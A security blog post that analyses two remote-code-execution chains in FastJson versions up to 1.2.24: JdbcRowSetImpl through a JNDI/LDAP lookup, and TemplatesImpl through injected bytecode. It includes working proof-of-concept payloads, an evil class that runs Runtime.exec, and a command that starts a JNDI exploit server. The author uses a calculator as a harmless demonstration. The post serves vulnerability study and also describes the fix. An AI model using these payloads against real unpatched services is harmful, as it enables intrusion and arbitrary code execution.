FastJson<=1.2.24RCE双链详细分析

阅读量250120

|

发布时间 : 2020-12-02 14:30:51

 

0x00 前言

最近在学习FastJson,阿里这个开源的JSON解析库,了解到他被频繁爆出漏洞,于是我做了详细的fastjson漏洞史分析。本文只涉及<1.2.25版本的RCE的两种利用方式,后续会补充其他漏洞。

 

0x01 FastJson简单使用

序列化是把java对象转为json字符串,反序列化即为把json字符串转为java对象,这样就方便进行传输或者存储。之前有人对比过java序列化、fastjson和jackson等序列化反序列化的速度,fastjson快的同时也带来一些安全问题。写一个简单的例子演示一下反序列化的使用。

//fastjson.java

package test;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;

public class fastjson {
    public static void main(String args[]){
        String obj = "{\"@type\":\"test.Student\",\"name\":\"zzZ\",\"age\":111}";
        Student obj1 = JSON.parseObject(obj, Student.class, Feature.SupportNonPublicField);
        System.out.println("name:"+obj1.getName()+"\nage:"+obj1.getAge());
    }
}


---
-输-出-
name:zzZ
age:111
//Student.java

package test;

public class Student {
    public String name;
    private int age;

    public String getName() {
        return name;
    }
    public void setName(String name) {
        this.name = name;
    }
    public int getAge() {
        return age;
    }
    public void setAge(int age) {
        this.age = age;
    }
}

 

0x02 漏洞由来

fastjson的漏洞主要都是因为AutoType造成的,后续的修复和其他版本的绕过都围绕此来进行。

fastjson在进行序列化时会扫描目标的get方法,并将字段的值序列化到JSON字符串中。而当一个类中包含了一个接口(或抽象类)的时,在使用fastjson进行序列化的时候,会将其子类型抹去,只保留接口(或抽象类)的类型,这就导致及逆行反序列化时无法得到原始的类型。为了解决这个问题,fastjson在JSON字符串中添加了@type标识(AutoType功能),标注了类对应的原始类型,也就可以在反序列化的时候可以找到具体类型。

在1.2.25之前,AutoType是默认开启,而且没有任何防护,我们只需要传入一个恶意类,配合java反射机制和rmi或者ldap服务就可以实现RCE。在1.2.25中修复,添加了checkAutotype,被绕过后又不断丰富黑白名单直到今天。我们详细一点点分析。

 

0x03 两条调用链分析

利用JdbcRowSetImpl类进行RCE

一、环境搭建

使用IDEA和JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar(用来搭建rmi和ldap服务)。

  • 新建maven项目后添加1.2.23版本fastjson的依赖,之后添加com.fj.learnFJ.java。
package com.fj;

import com.alibaba.fastjson.JSON;

public class learnFJ {
        public static void main(String args[]){
                String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://127.0.0.1:1389/Exploit\"," +
                        " \"autoCommit\":true}";
                JSON.parse(payload);
        }
}
  • 使用JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar搭建服务。
java -jar .\JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C calc -A 127.0.0.1

1

二、调用分析

首先在JSON.parse(payload)下断点后运行

2

跟进后调用parse.parse来解析

3

因为是左大括号{,所以跳转到case LBRACE执行,并在1327行调用parseObject()反序列化

4

进入获取内容的for循环,并获得payload中第一个字符’”‘

5

获取引号后,获取其内容@type

6

之后进行第二个值的获取,得到类名

7

将调用deserializer.deserialze函数来处理反序列化数据,此时deserializer中已经包含了要实例化的类

8

之后fastjson会在内部处理jdbcrowsetimpl类。我们在JdbcRowSetImpl类setDataSourceName()处下断点,因为传入了DataSourceName,所以会进行调用

9

之后调用抽象父类BaseRowSet的setDataSourceName给dataSource赋值

10

之后会调用setAutoCommit(),其中调用了connect(),跟进

11

connect()中调用了look(),这里的getDataSourceName()就是我们传入的dataSourceName,跟进look看看

12

调用了getURLOrDefaultInitCtx(name).lookup(),跟进

13

在getURLOrDefaultInitCtx()内,调用getURLContext()请求ldap服务

14

之后通过getURLObject()从远程的ldap服务获取Context对象

15

在getURLObject()内调用factory.getObjectInstance(),完成反序列化,调用了payload

16

完整调用链:

17

利用TemplatesImpl类进行RCE

一、环境搭建

我们使用IDEA搭建即可。

  • 添加maven依赖后,添加Poc.java
//Poc.java

package com.fj;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.apache.maven.surefire.shade.booter.org.apache.commons.io.IOUtils;
import org.apache.commons.codec.binary.Base64;
import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;

public class Poc {
    public static String readClass(String cls){
        ByteArrayOutputStream bos = new ByteArrayOutputStream();
        try {
            IOUtils.copy(new FileInputStream(new File(cls)), bos);
        } catch (IOException e) {
            e.printStackTrace();
        }

        String result = Base64.encodeBase64String(bos.toByteArray());

        return result;
    }

    public static void poc() {
        ParserConfig config = new ParserConfig();
        final String fileSeparator = System.getProperty("file.separator");
        String path = "C:\\Users\\xxx\\Desktop\\code\\evil.class";
        String code = readClass(path);

        final String CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";

        String text1 = "{\"@type\":\"" + CLASS +
                "\",\"_bytecodes\":[\""+code+"\"]," +
                "'_name':'a.b'," +
                "'_tfactory':{ }," +
                "\"_outputProperties\":{ }}\n";
        System.out.println(text1);
        Object obj = JSON.parseObject(text1, Object.class, config, Feature.SupportNonPublicField);
    }

    public static void main(String args[]) {
        poc();
    }
}
  • 添加evil.java,并用javac编译为evil.class。
//evil.java

package com.fj;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;

public class evil extends AbstractTranslet{
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {
    }
    public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handlers) throws TransletException {
    }
    public evil() throws IOException {
        Runtime.getRuntime().exec("calc");
    }
    public static void main(String[] args) throws IOException {
        evil obj = new evil();
    }
}

运行后弹出计算器。

18

二、调用分析

对于TemplatesImpl的payload,在高版本java中要开启Feature.SupportNonPublicField才能对非共有属性的反序列化处理,因此存在一定限制,而之前第一种方法中JdbcRowSetImpl利用几乎无限制。接下来简单分析下TemplatesImpl链的调用。

在parseObject()下断点后调式

19

跟第一种一样进入deserializer.deserialze() 进行反序列化

20

之后进入parseField()对json字符串中的一些key值进行匹配

21

在parseField()中调用smartMatch()对key值进行处理

22

之后进入fieldDeserializer.parseField()

23

在fieldDeserializer.parseField()中调用了setValue(),跟进

24

setValue()中method内方法为getOutputProperties(),并在后面通过反射机制调用,进入TemplatesImpl类

25

26

getOutputProperties()内调用newTransformer()会创建Transformer实例,我们跟进

27

在内部会调用getTransletInstance()创建实例之后返回给上层函数,我们跟进

28

在getTransletInstance()内,调用defineTransletClasses()遍历_bytecodes数组(判断是byte[]数组会自动base64解码,所以poc里需要进行base64编码),之后调用(AbstractTranslet) _class[_transletIndex].newInstance()实例化类,类定义的是静态方法,执行触发payload

29

整个过程调用链为:

30

 

0x04 结语

上面详细跟踪了两条链的利用方式,相信对于 <1.2.25漏洞的利用已经非常清楚了。
这次的漏洞修复方式是默认关闭AutoType的支持,添加了checkAutotype来判断是否符合要求,并添加了白名单和黑名单来防护AutoType是开启的情况。在之后又出现了各种绕过的姿势,下篇文章继续分析。

本文由zzZ原创发布

转载,请参考转载声明,注明出处: https://www.anquanke.com/post/id/223467

安全客 - 有思想的安全新媒体

分享到:微信
+14赞
收藏
zzZ
分享到:微信

发表评论

内容需知
合作单位
  • 安全客
  • 安全客
Copyright © 北京奇虎科技有限公司 三六零数字安全科技集团有限公司 安全客 All Rights Reserved 京ICP备08010314号-66